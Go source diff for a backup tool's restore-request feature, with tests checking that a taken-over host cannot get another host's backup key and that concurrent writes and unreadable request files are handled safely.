// resealAsideSuffix names a request file set aside as unreadable.
|
||||
const resealAsideSuffix = ".unreadable-"
|
||||
|
||||
// resealLoad reads the pairing's requests, less those that lapsed; the
|
||||
// caller holds withResealLock. A file that cannot be parsed is not dropped
|
||||
// and not overwritten: it is set aside beside it, under a name that says so,
|
||||
// and the error says where. The next request starts a new file.
|
||||
func resealLoad(dir string) (map[string]*resealRequest, error) {
|
||||
m := map[string]*resealRequest{}
|
||||
p := resealPath(dir)
|
||||
raw, err := os.ReadFile(p)
|
||||
if errors.Is(err, os.ErrNotExist) {
|
||||
return m, nil
|
||||
}
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("the record of restore requests cannot be read: %w", err)
|
||||
}
|
||||
if err := json.Unmarshal(raw, &m); err != nil {
|
||||
aside := p + resealAsideSuffix + time.Now().UTC().Format("20060102T150405.000000000Z")
|
||||
if rerr := os.Rename(p, aside); rerr != nil {
|
||||
return nil, fmt.Errorf("the record of restore requests %s is unreadable (%v) and could not be set aside (%v); "+
|
||||
"nothing was changed", p, err, rerr)
|
||||
}
|
||||
return nil, fmt.Errorf("the record of restore requests was unreadable (%v). It is kept as %s and a new "+
|
||||
"one is started: the requests in it must be asked again", err, aside)
|
||||
}
|
||||
if m == nil {
|
||||
m = map[string]*resealRequest{}
|
||||
}
|
||||
now := time.Now()
|
||||
for id, r := range m {
|
||||
if r == nil {
|
||||
delete(m, id)
|
||||
continue
|
||||
}
|
||||
at, err := time.Parse(time.RFC3339, r.At)
|
||||
if err != nil || now.Sub(at) > resealRequestTTL {
|
||||
delete(m, id)
|
||||
}
|
||||
}
|
||||
return m, nil
|
||||
}
|
||||
|
||||
// resealRead is resealLoad under the lock, for a caller that only reads.
|
||||
func resealRead(dir string) (map[string]*resealRequest, error) {
|
||||
var m map[string]*resealRequest
|
||||
err := withResealLock(dir, func() error {
|
||||
var err error
|
||||
m, err = resealLoad(dir)
|
||||
return err
|
||||
})
|
||||
return m, err
|
||||
}
|
||||
|
||||
// resealSave writes the requests: an answered one no longer carries the
|
||||
// sidecar it came with, and past resealMaxAnswered answered ones the oldest
|
||||
// answered are dropped.
|
||||
func resealSave(dir string, m map[string]*resealRequest) error {
|
||||
var answered []*resealRequest
|
||||
for _, r := range m {
|
||||
if r.State != "pending" {
|
||||
r.Sidecar = ""
|
||||
answered = append(answered, r)
|
||||
}
|
||||
}
|
||||
if len(answered) > resealMaxAnswered {
|
||||
sort.Slice(answered, func(i, j int) bool { return answered[i].DecidedAt < answered[j].DecidedAt })
|
||||
for _, r := range answered[:len(answered)-resealMaxAnswered] {
|
||||
delete(m, r.ID)
|
||||
}
|
||||
}
|
||||
raw, err := json.MarshalIndent(m, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return atomicWrite(resealPath(dir), raw)
|
||||
}
|
||||
|
||||
// handleBackupReseal answers backup_reseal start and status on the pairing's
|
||||
// own state directory, so one host never sees another's requests.
|
||||
func handleBackupReseal(ws *websocket.Conn, dir string, args []string) {
|
||||
if len(args) < 1 {
|
||||
backupFail(ws, "backup_reseal: need a JSON argument")
|
||||
return
|
||||
}
|
||||
var req resealReq
|
||||
if err := json.Unmarshal([]byte(args[0]), &req); err != nil {
|
||||
backupFail(ws, "backup_reseal: argument is not JSON: "+err.Error())
|
||||
return
|
||||
}
|
||||
switch req.Op {
|
||||
case "status":
|
||||
m, err := resealRead(dir)
|
||||
if err != nil {
|
||||
backupFail(ws, "backup_reseal: "+err.Error())
|
||||
return
|
||||
}
|
||||
r, ok := m[req.JobID]
|
||||
if !ok {
|
||||
backupOK(ws, map[string]string{"job_id": req.JobID, "state": "unknown"})
|
||||
return
|
||||
}
|
||||
out := map[string]string{"job_id": r.ID, "state": r.State}
|
||||
if r.State == "done" {
|
||||
out["sidecar"] = r.Resealed
|
||||
}
|
||||
if r.Error != "" {
|
||||
out["error"] = r.Error
|
||||
}
|
||||
backupOK(ws, out)
|
||||
case "start", "":
|
||||
who, err := resealPairing(mgmtSelf(ws))
|
||||
if err != nil {
|
||||
backupFail(ws, "backup_reseal: "+err.Error())
|
||||
return
|
||||
}
|
||||
r, err := resealFile(dir, who, req)
|
||||
if err != nil {
|
||||
backupFail(ws, "backup_reseal: "+err.Error())
|
||||
return
|
||||
}
|
||||
backupOK(ws, map[string]string{"job_id": r.ID, "state": r.State})
|
||||
default:
|
||||
backupFail(ws, "backup_reseal: unknown op "+req.Op)
|
||||
}
|
||||
}
|
||||
|
||||
// resealFile validates and files a request. The same sidecar for the same
|
||||
// key while one is still open returns that one: a host that lost the reply
|
||||
// asks again and must not fill the person's list with copies. who is the
|
||||
// pairing the request came in on, recorded with it.
|
||||
func resealFile(dir string, who resealWho, req resealReq) (*resealRequest, error) {
|
||||
if who.Name == "" || who.Number <= 0 {
|
||||
return nil, errors.New("a restore request is taken only from a paired host with a host number")
|
||||
}
|
||||
if len(req.Sidecar) == 0 || len(req.Sidecar) > sidecarMaxBytes {
|
||||
return nil, errors.New("sidecar is missing or too large")
|
||||
}
|
||||
if !strings.Contains(req.Sidecar, "-----BEGIN AGE ENCRYPTED FILE-----") {
|
||||
return nil, errors.New("sidecar must be an armored age file")
|
||||
}
|
||||
if !backupStampRe.MatchString(req.Stamp) {
|
||||
return nil, errors.New("stamp must name a backup (YYYYMMDDTHHMMSSZ)")
|
||||
}
|
||||
to, err := parseBackupRecipient(req.To)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
raw, err := recipientRaw(to)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
label := strings.TrimSpace(req.HostLabel)
|
||||
if !resealLabelOK(label) {
|
||||
return nil, fmt.Errorf("host_label must be one line of at most %d bytes of printable text", resealLabelMax)
|
||||
}
|
||||
sum := sha256.Sum256([]byte(req.Sidecar))
|
||||
sh := hex.EncodeToString(sum[:])
|
||||
|
||||
var filed *resealRequest
|
||||
err = withResealLock(dir, func() error {
|
||||
m, err := resealLoad(dir)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
waiting, held := 0, 0
|
||||
for _, r := range m {
|
||||
if r.State != "pending" {
|
||||
continue
|
||||
}
|
||||
if r.SidecarSH == sh && r.To == to.String() && r.Pairing == who.Name && r.HostNumber == who.Number {
|
||||
filed = r
|
||||
return nil
|
||||
}
|
||||
waiting++
|
||||
held += len(r.Sidecar)
|
||||
}
|
||||
if waiting >= resealMaxRequests || held+len(req.Sidecar) > resealMaxBytes {
|
||||
return fmt.Errorf("this bastion already holds %d restore requests from this host waiting for an answer "+
|
||||
"(%d KiB; at most %d requests or %d KiB). Answer them on this machine (privatae-bastion backup "+
|
||||
"requests), or wait for them to lapse after a day, then ask again", waiting, held>>10,
|
||||
resealMaxRequests, resealMaxBytes>>10)
|
||||
}
|
||||
idb := make([]byte, 6)
|
||||
if _, err := rand.Read(idb); err != nil {
|
||||
return err
|
||||
}
|
||||
r := &resealRequest{
|
||||
ID: "br-" + hex.EncodeToString(idb), Stamp: req.Stamp, Pairing: who.Name, HostNumber: who.Number, HostLabel: label,
|
||||
To: to.String(), ToFP: backupKeyFingerprint(raw), Sidecar: req.Sidecar, SidecarSH: sh,
|
||||
At: time.Now().UTC().Format(time.RFC3339), State: "pending",
|
||||
}
|
||||
m[r.ID] = r
|
||||
if err := resealSave(dir, m); err != nil {
|
||||
return err
|
||||
}
|
||||
filed = r
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return filed, nil
|
||||
}
|
||||
|
||||
// resealDecide carries out the person's answer for the pairing who (whose
|
||||
// state directory dir is). Approve opens the sidecar with the keys held here,
|
||||
// refuses it unless it is the backup of that pairing's own host number, and
|
||||
// seals it to the requesting host's key; any failure is recorded as the
|
||||
// request's outcome for the host to read.
|
||||
func resealDecide(dir string, who resealWho, id string, approve bool) (*resealRequest, error) {
|
||||
return resealDecideWith(dir, who, id, approve, "")
|
||||
}
|
||||
|
||||
// resealRefuse refuses a request with the reason given, for the host to read.
|
||||
func resealRefuse(dir string, who resealWho, id, why string) (*resealRequest, error) {
|
||||
return resealDecideWith(dir, who, id, false, why)
|
||||
}
|
||||
|
||||
func resealDecideWith(dir string, who resealWho, id string, approve bool, why string) (*resealRequest, error) {
|
||||
var out *resealRequest
|
||||
err := withResealLock(dir, func() error {
|
||||
var err error
|
||||
out, err = resealDecideLocked(dir, who, id, approve, why)
|
||||
return err
|
||||
})
|
||||
return out, err
|
||||
}
|
||||
|
||||
func resealDecideLocked(dir string, who resealWho, id string, approve bool, why string) (*resealRequest, error) {
|
||||
m, err := resealLoad(dir)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
r, ok := m[id]
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("no reseal request %s (requests lapse after a day)", id)
|
||||
}
|
||||
if r.State != "pending" {
|
||||
return nil, fmt.Errorf("request %s is already %s", id, r.State)
|
||||
}
|
||||
r.DecidedAt = time.Now().UTC().Format(time.RFC3339Nano)
|
||||
if !approve {
|
||||
r.State, r.Error = "refused", why
|
||||
return r, resealSave(dir, m)
|
||||
}
|
||||
if p := resealBindingProblem(r, nil, who); p != "" {
|
||||
r.State, r.Error = "refused", p
|
||||
return r, resealSave(dir, m)
|
||||
}
|
||||
ids, err := backupIdentities()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
to, err := parseBackupRecipient(r.To)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
plain, sc, err := openSidecar([]byte(r.Sidecar), ids, r.Stamp)
|
||||
switch {
|
||||
case err != nil:
|
||||
r.State, r.Error = "failed", err.Error()
|
||||
case resealBindingProblem(r, sc, who) != "":
|
||||
r.State, r.Error = "refused", resealBindingProblem(r, sc, who)
|
||||
default:
|
||||
out, err := sealSidecarTo(plain, to)
|
||||
if err != nil {
|
||||
r.State, r.Error = "failed", err.Error()
|
||||
} else {
|
||||
r.State, r.Resealed = "done", string(out)
|
||||
}
|
||||
}
|
||||
if serr := resealSave(dir, m); serr != nil {
|
||||
return nil, serr
|
||||
}
|
||||
return r, nil
|
||||
}
|
||||
|
||||
// resealLabelOK: the label is shown to the person on this machine as the
|
||||
// host's own words, so it must not be able to move the cursor, recolour the
|
||||
// terminal, reverse text or break the line: no control or format character
|
||||
// of any kind, valid UTF-8, one short line.
|
||||
func resealLabelOK(label string) bool {
|
||||
if len(label) > resealLabelMax || !utf8.ValidString(label) {
|
||||
return false
|
||||
}
|
||||
for _, r := range label {
|
||||
if unicode.IsControl(r) || unicode.In(r, unicode.Cf, unicode.Zl, unicode.Zp) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// resealPreview is what the person reads before approving: which pairing
|
||||
// sent it (this machine's record), what the host says it wants, and what the
|
||||
// sidecar itself says, opened here with this bastion's key. The returned
|
||||
// refusal is not "" when approving cannot go through: the sidecar is not the
|
||||
// backup of that pairing's own host (refused, whatever the person answers),
|
||||
// or it does not open here, or names another backup.
|
||||
func resealPreview(r *resealRequest, ids []age.Identity, who resealWho) (string, string) {
|
||||
var b strings.Builder
|
||||
b.WriteString(describeReseal(r))
|
||||
b.WriteString("\n\n What the sidecar says (opened here with this bastion's key):\n")
|
||||
if p := resealBindingProblem(r, nil, who); p != "" {
|
||||
fmt.Fprintf(&b, " not opened: %s\n", p)
|
||||
return b.String(), p
|
||||
}
|
||||
_, sc, err := openSidecar([]byte(r.Sidecar), ids, "")
|
||||
if err != nil {
|
||||
fmt.Fprintf(&b, " it does not open here: %q\n Approving will fail and the host is told so.\n", err.Error())
|
||||
return b.String(), ""
|
||||
}
|
||||
// Every field that came out of the sidecar is printed quoted: the sidecar
|
||||
// was written by a host, and what it says must not be able to move the
|
||||
// cursor or pass for this machine's own words.
|
||||
fmt.Fprintf(&b, " host number %d\n made at %q\n backup %q (%q)\n",
|
||||
sc.EntityID, sc.MadeAt, sc.Object, sc.Stamp)
|
||||
if p := resealBindingProblem(r, sc, who); p != "" {
|
||||
fmt.Fprintf(&b, " %s.\n", p)
|
||||
return b.String(), p
|
||||
}
|
||||
if sc.Stamp != r.Stamp {
|
||||
fmt.Fprintf(&b, " This is the backup of %q, not the %q the host asked for: approving will fail.\n",
|
||||
sc.Stamp, r.Stamp)
|
||||
}
|
||||
return b.String(), ""
|
||||
}
|
||||
|
||||
// resealApprove is the person's approval, checked: when this pairing has a
|
||||
// second factor enrolled, the code must verify (and is spent) before
|
||||
// anything is opened. A wrong or missing code leaves the request pending.
|
||||
func resealApprove(dir string, who resealWho, id, code string) (*resealRequest, error) {
|
||||
if stepupEnrolled(dir) {
|
||||
code = strings.TrimSpace(code)
|
||||
if code == "" {
|
||||
return nil, errors.New("this machine has a second factor enrolled: approving needs its code")
|
||||
}
|
||||
if _, err := stepupVerifyAndBurn(dir, code, time.Now()); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
return resealDecide(dir, who, id, true)
|
||||
}
|
||||
|
||||
func findResealRequest(m map[string]*resealRequest, prefix string) (string, error) {
|
||||
var hits []string
|
||||
for id := range m {
|
||||
if strings.HasPrefix(id, prefix) {
|
||||
hits = append(hits, id)
|
||||
}
|
||||
}
|
||||
switch len(hits) {
|
||||
case 0:
|
||||
return "", fmt.Errorf("no reseal request starts with %q", prefix)
|
||||
case 1:
|
||||
return hits[0], nil
|
||||
}
|
||||
return "", fmt.Errorf("%q matches %d requests; give more of the id", prefix, len(hits))
|
||||
}
|
||||
|
||||
func describeReseal(r *resealRequest) string {
|
||||
host := r.HostLabel
|
||||
if host == "" {
|
||||
host = "your host"
|
||||
}
|
||||
// The pairing name was checked as a host name at `pair` (validHostName)
|
||||
// and the number is this machine's own; the label is the host's words and
|
||||
// printed quoted.
|
||||
return fmt.Sprintf("%s [%s]\n Sent by the pairing %s, host number %d (this machine's record).\n"+
|
||||
" What the host says: %q asks for the key to the backup of %s,\n"+
|
||||
" sealed to its own key %s (fingerprint %s). Approving lets that host\n"+
|
||||
" open this one backup and no other, and only if it is that host's own.",
|
||||
r.ID, r.State, r.Pairing, r.HostNumber, host, r.Stamp, r.To, r.ToFP)
|
||||
}
|
||||
|
||||
// ── the person's side, on this machine ──────────────────────────────────────
|
||||
|
||||
func cmdBackupRequests(host string) error {
|
||||
cfg, err := stepupPairing(host)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
dir := cfg.dcnDir()
|
||||
// Request files set aside as unreadable (resealLoad) are named here, so
|
||||
// the person learns of them whichever process found them.
|
||||
if aside, _ := filepath.Glob(resealPath(dir) + resealAsideSuffix + "*"); len(aside) > 0 {
|
||||
fmt.Println("set aside as unreadable (kept, not read):")
|
||||
for _, a := range aside {
|
||||
fmt.Println(" " + a)
|
||||
}
|
||||
fmt.Println()
|
||||
}
|
||||
m, err := resealRead(dir)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(m) == 0 {
|
||||
fmt.Println("no backup requests from", cfg.HostName)
|
||||
return nil
|
||||
}
|
||||
ids := make([]string, 0, len(m))
|
||||
for id := range m {
|
||||
ids = append(ids, id)
|
||||
}
|
||||
sort.Slice(ids, func(i, j int) bool { return m[ids[i]].At < m[ids[j]].At })
|
||||
for _, id := range ids {
|
||||
fmt.Println(describeReseal(m[id]))
|
||||
fmt.Println()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func cmdBackupDecide(host, prefix string, approve bool) error {
|
||||
cfg, err := stepupPairing(host)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
dir := cfg.dcnDir()
|
||||
m, err := resealRead(dir)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
id, err := findResealRequest(m, prefix)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
var r *resealRequest
|
||||
if approve {
|
||||
who, err := resealWhoOf(cfg)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
ids, _ := backupIdentities()
|
||||
text, refusal := resealPreview(m[id], ids, who)
|
||||
fmt.Println(text)
|
||||
if refusal != "" {
|
||||
// Refused whatever the person answers, and needs no code: a
|
||||
// refusal hands nothing over.
|
||||
if _, err := resealRefuse(dir, who, id, refusal); err != nil {
|
||||
return err
|
||||
}
|
||||
return errors.New(refusal)
|
||||
}
|
||||
code := ""
|
||||
if stepupEnrolled(dir) {
|
||||
fmt.Print("Approve this? Enter the code from your authenticator (or leave empty to cancel): ")
|
||||
code, _ = bufio.NewReader(os.Stdin).ReadString('\n')
|
||||
if strings.TrimSpace(code) == "" {
|
||||
fmt.Println("cancelled — nothing approved")
|
||||
return nil
|
||||
}
|
||||
}
|
||||
r, err = resealApprove(dir, who, id, code)
|
||||
} else {
|
||||
r, err = resealRefuse(dir, resealWho{Name: cfg.HostName}, id, "")
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
switch r.State {
|
||||
case "done":
|
||||
fmt.Println("approved — the key to that one backup is sealed to your host; it collects it on its next check.")
|
||||
case "refused":
|
||||
if approve {
|
||||
return errors.New(r.Error)
|
||||
}
|
||||
fmt.Println("refused — your host is told on its next check.")
|
||||
default:
|
||||
return fmt.Errorf("the reseal failed: %s", r.Error)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,151 @@
|
||||
package main
|
||||
|
||||
// Gate: a restore request is bound to the pairing that sent it. A host that
|
||||
// was taken over holds the bastion key's sidecars of every host that shares
|
||||
// this bastion's key (a shared folder, or the platform), so the request's own
|
||||
// words cannot decide whose backup it is: the host number this machine paired
|
||||
// with does. Host A asking for host B's backup key is refused, whatever it
|
||||
// calls itself, and nothing is sealed to A.
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"filippo.io/age"
|
||||
)
|
||||
|
||||
// withFixturePairings pairs this machine (in a private config folder) with
|
||||
// one host per name, host number n at fd00:9::e:<n hex>, as the platform
|
||||
// hands the address out at pairing. Returns each pairing's DCN folder.
|
||||
func withFixturePairings(t *testing.T, hosts map[string]int64) map[string]string {
|
||||
t.Helper()
|
||||
isolateConfigDir(t)
|
||||
dirs := map[string]string{}
|
||||
for name, n := range hosts {
|
||||
dir := filepath.Join(t.TempDir(), "dcn")
|
||||
c := &Config{HostName: name, HostTunnelIP: fmt.Sprintf("fd00:9::e:%x", n), DCNDir: dir,
|
||||
BackupRoot: filepath.Join(t.TempDir(), "backups")}
|
||||
if err := c.save(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
dirs[name] = c.dcnDir()
|
||||
}
|
||||
return dirs
|
||||
}
|
||||
|
||||
func resealStatusAs(t *testing.T, self, dcn, id string) map[string]string {
|
||||
t.Helper()
|
||||
out, errOut, code := driveBackupOpAs(t, self, "backup_reseal", dcn, "", resealReq{Op: "status", JobID: id})
|
||||
if code != 0 {
|
||||
t.Fatalf("status exited %d: %s", code, errOut)
|
||||
}
|
||||
var m map[string]string
|
||||
if err := json.Unmarshal([]byte(out), &m); err != nil {
|
||||
t.Fatalf("status is not JSON: %s", out)
|
||||
}
|
||||
return m
|
||||
}
|
||||
|
||||
func resealStartAs(t *testing.T, self, dcn string, req resealReq) string {
|
||||
t.Helper()
|
||||
out, errOut, code := driveBackupOpAs(t, self, "backup_reseal", dcn, "", req)
|
||||
if code != 0 {
|
||||
t.Fatalf("start from %s exited %d: %s", self, code, errOut)
|
||||
}
|
||||
var m map[string]string
|
||||
_ = json.Unmarshal([]byte(out), &m)
|
||||
if m["state"] != "pending" || m["job_id"] == "" {
|
||||
t.Fatalf("start from %s filed nothing: %s", self, out)
|
||||
}
|
||||
return m["job_id"]
|
||||
}
|
||||
|
||||
// The attack: host A (number 7) was taken over. It holds host B's key file
|
||||
// (B is number 42, the fixture's host), names itself "B", and asks for that
|
||||
// backup's key sealed to its own key. The person approves at this machine.
|
||||
// Nothing reaches A. B asking for its own backup still works.
|
||||
func TestResealRefusesAnotherHostsBackupWhateverTheHostSays(t *testing.T) {
|
||||
const hostA, hostB = "a7.host.privatae.ai", fixtureHost
|
||||
dirs := withFixturePairings(t, map[string]int64{hostA: 7, hostB: fixtureEntity})
|
||||
fx := newBackupFixture(t, "") // host fixtureEntity's (B's) backup
|
||||
fx.installAsBastionKey(t)
|
||||
|
||||
attacker, _ := age.GenerateX25519Identity()
|
||||
id := resealStartAs(t, hostA, dirs[hostA], resealReq{Op: "start", Sidecar: string(fx.sidecar(t)),
|
||||
To: attacker.Recipient().String(), Stamp: fixtureStamp, HostLabel: hostB})
|
||||
err := cmdBackupDecide(hostA, id, true)
|
||||
if err == nil {
|
||||
t.Fatal("the person's approval went through for another host's backup")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "host number 42") || !strings.Contains(err.Error(), "host number 7") {
|
||||
t.Errorf("the refusal does not say whose backup it is and who asked: %v", err)
|
||||
}
|
||||
st := resealStatusAs(t, hostA, dirs[hostA], id)
|
||||
if st["state"] == "done" || st["sidecar"] != "" {
|
||||
t.Fatalf("host A was handed host B's backup key: %v", st)
|
||||
}
|
||||
if st["state"] != "refused" {
|
||||
t.Fatalf("the request reads %v, not refused", st)
|
||||
}
|
||||
|
||||
// B, asking for its own backup, is served.
|
||||
own, _ := age.GenerateX25519Identity()
|
||||
idB := resealStartAs(t, hostB, dirs[hostB], resealReq{Op: "start", Sidecar: string(fx.sidecar(t)),
|
||||
To: own.Recipient().String(), Stamp: fixtureStamp, HostLabel: "B"})
|
||||
if err := cmdBackupDecide(hostB, idB, true); err != nil {
|
||||
t.Fatalf("a host's own backup was refused: %v", err)
|
||||
}
|
||||
if st := resealStatusAs(t, hostB, dirs[hostB], idB); st["state"] != "done" || st["sidecar"] == "" {
|
||||
t.Fatalf("host B did not get its own backup's key: %v", st)
|
||||
}
|
||||
}
|
||||
|
||||
// The refusal does not rest on the CLI's preview: resealDecide itself opens
|
||||
// the sidecar and refuses another host's backup, and a request filed by one
|
||||
// pairing cannot be approved as another's.
|
||||
func TestResealDecideRefusesWhatIsNotThePairingsOwn(t *testing.T) {
|
||||
fx := newBackupFixture(t, "")
|
||||
fx.installAsBastionKey(t)
|
||||
dir := t.TempDir()
|
||||
host, _ := age.GenerateX25519Identity()
|
||||
a := resealWho{Name: "a7.host.privatae.ai", Number: 7}
|
||||
r, err := resealFile(dir, a, resealReq{Sidecar: string(fx.sidecar(t)), To: host.Recipient().String(), Stamp: fixtureStamp})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if r.Pairing != a.Name || r.HostNumber != 7 {
|
||||
t.Fatalf("the request is not bound to the pairing that filed it: %+v", r)
|
||||
}
|
||||
// Approved as if by host 42's pairing: the request is A's, refused.
|
||||
got, err := resealDecide(dir, fixtureWho, r.ID, true)
|
||||
if err != nil || got.State != "refused" || got.Resealed != "" || !strings.Contains(got.Error, "filed by") {
|
||||
t.Fatalf("a request was approved for a pairing that did not file it: %+v %v", got, err)
|
||||
}
|
||||
r, _ = resealFile(dir, a, resealReq{Sidecar: string(fx.sidecar(t)), To: mustRecipient(t), Stamp: fixtureStamp})
|
||||
got, err = resealDecide(dir, a, r.ID, true)
|
||||
if err != nil || got.State != "refused" || got.Resealed != "" || !strings.Contains(got.Error, "host number 42") {
|
||||
t.Fatalf("host 7 was given host 42's backup key: %+v %v", got, err)
|
||||
}
|
||||
if _, err := resealFile(dir, resealWho{Name: "x"}, resealReq{Sidecar: string(fx.sidecar(t)), To: mustRecipient(t),
|
||||
Stamp: fixtureStamp}); err == nil {
|
||||
t.Fatal("a request with no host number was filed")
|
||||
}
|
||||
}
|
||||
|
||||
func TestHostNumberComesFromTheTunnelAddress(t *testing.T) {
|
||||
for ip, want := range map[string]int64{"fd00:9::e:2a": 42, "fd00:9::e:1": 1, "fd00:9::e:ffff": 0xffff,
|
||||
"FD00:0009:0000:0000:0000:0000:000E:0007": 7} {
|
||||
if n, ok := hostNumberOf(ip); !ok || n != want {
|
||||
t.Errorf("%s: %d %v, want %d", ip, n, ok, want)
|
||||
}
|
||||
}
|
||||
for _, ip := range []string{"", "fd00:9::e:0", "fd00:9::a:2a", "fd00:8::e:2a", "fd00:9:0:1::e:2a", "10.0.0.42",
|
||||
"::ffff:10.0.0.42", "fd00:9::e:2a%eth0", "fd00:9::1:e:2a", "not an address"} {
|
||||
if n, ok := hostNumberOf(ip); ok {
|
||||
t.Errorf("%q read as host number %d", ip, n)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,192 @@
|
||||
package main
|
||||
|
||||
// Gate: the pairing's request file is written by two processes (the daemon
|
||||
// files, the person's `backup approve`/`deny` decides), and neither loses
|
||||
// the other's write; an unreadable file is set aside, never wiped; and an
|
||||
// answer frees the room its request took.
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func junkSidecar(tag string, i int) string {
|
||||
return "-----BEGIN AGE ENCRYPTED FILE-----\n" + tag + "-" + strconv.Itoa(i) + "\n-----END AGE ENCRYPTED FILE-----\n"
|
||||
}
|
||||
|
||||
// TestResealHelperProcess is not a test on its own: the concurrency test
|
||||
// below runs this binary again with these variables set, so each writer is a
|
||||
// separate process, as the daemon and the CLI are.
|
||||
func TestResealHelperProcess(t *testing.T) {
|
||||
dir := os.Getenv("PRIVATAE_RESEAL_HELPER_DIR")
|
||||
if dir == "" {
|
||||
t.Skip("run by TestResealFileKeepsEveryWriteAcrossProcesses")
|
||||
}
|
||||
tag := os.Getenv("PRIVATAE_RESEAL_HELPER_TAG")
|
||||
rounds, _ := strconv.Atoi(os.Getenv("PRIVATAE_RESEAL_HELPER_ROUNDS"))
|
||||
to := mustRecipient(t)
|
||||
for i := 0; i < rounds; i++ {
|
||||
r, err := resealFile(dir, fixtureWho, resealReq{Sidecar: junkSidecar(tag, i), To: to, Stamp: fixtureStamp})
|
||||
if err != nil {
|
||||
t.Fatalf("%s: file %d: %v", tag, i, err)
|
||||
}
|
||||
if _, err := resealRefuse(dir, fixtureWho, r.ID, tag); err != nil {
|
||||
t.Fatalf("%s: deny %d: %v", tag, i, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Several processes each file a request and deny it, over and over, on one
|
||||
// pairing's file. Every request filed is there at the end, and every one is
|
||||
// refused: none was dropped by a stale save, and no answer was reverted to
|
||||
// pending.
|
||||
func TestResealFileKeepsEveryWriteAcrossProcesses(t *testing.T) {
|
||||
if testing.Short() {
|
||||
t.Skip("starts processes")
|
||||
}
|
||||
const procs, rounds = 4, 15 // 60 answered requests: under resealMaxAnswered, so none is dropped
|
||||
if procs*rounds > resealMaxAnswered {
|
||||
t.Fatal("the test would lose answered requests to the bound, not to a race")
|
||||
}
|
||||
dir := t.TempDir()
|
||||
var wg sync.WaitGroup
|
||||
errs := make([]error, procs)
|
||||
outs := make([][]byte, procs)
|
||||
for p := 0; p < procs; p++ {
|
||||
wg.Add(1)
|
||||
go func(p int) {
|
||||
defer wg.Done()
|
||||
cmd := exec.Command(os.Args[0], "-test.run=^TestResealHelperProcess$", "-test.count=1")
|
||||
cmd.Env = append(os.Environ(), "PRIVATAE_RESEAL_HELPER_DIR="+dir,
|
||||
fmt.Sprintf("PRIVATAE_RESEAL_HELPER_TAG=p%d", p), fmt.Sprintf("PRIVATAE_RESEAL_HELPER_ROUNDS=%d", rounds))
|
||||
outs[p], errs[p] = cmd.CombinedOutput()
|
||||
}(p)
|
||||
}
|
||||
wg.Wait()
|
||||
for p := range errs {
|
||||
if errs[p] != nil {
|
||||
t.Fatalf("writer %d: %v\n%s", p, errs[p], outs[p])
|
||||
}
|
||||
}
|
||||
m, err := resealRead(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(m) != procs*rounds {
|
||||
t.Fatalf("%d of %d requests are on file: writes were lost", len(m), procs*rounds)
|
||||
}
|
||||
for _, r := range m {
|
||||
if r.State != "refused" || !strings.HasPrefix(r.Error, "p") {
|
||||
t.Fatalf("an answer was lost: %+v", r)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// A request file that does not parse is set aside whole, the error says
|
||||
// where, and the next request starts a new file.
|
||||
func TestResealUnreadableFileIsSetAsideNotWiped(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
junk := []byte(`{"br-1": {"id": "br-1", "state": "pending"` + "\x00 torn")
|
||||
if err := os.WriteFile(resealPath(dir), junk, 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
to := mustRecipient(t)
|
||||
_, err := resealFile(dir, fixtureWho, resealReq{Sidecar: junkSidecar("a", 0), To: to, Stamp: fixtureStamp})
|
||||
if err == nil || !strings.Contains(err.Error(), "kept as") {
|
||||
t.Fatalf("an unreadable request file was not reported: %v", err)
|
||||
}
|
||||
aside, _ := filepath.Glob(resealPath(dir) + resealAsideSuffix + "*")
|
||||
if len(aside) != 1 {
|
||||
t.Fatalf("the unreadable file was not set aside: %v", aside)
|
||||
}
|
||||
if got, _ := os.ReadFile(aside[0]); string(got) != string(junk) {
|
||||
t.Fatal("the file set aside is not the file that was there")
|
||||
}
|
||||
if !strings.Contains(err.Error(), aside[0]) {
|
||||
t.Errorf("the error does not say where the file is: %v", err)
|
||||
}
|
||||
r, err := resealFile(dir, fixtureWho, resealReq{Sidecar: junkSidecar("a", 0), To: to, Stamp: fixtureStamp})
|
||||
if err != nil || r.State != "pending" {
|
||||
t.Fatalf("a new file was not started: %v", err)
|
||||
}
|
||||
// "null" is an empty record, not a crash.
|
||||
_ = os.WriteFile(resealPath(dir), []byte("null"), 0o600)
|
||||
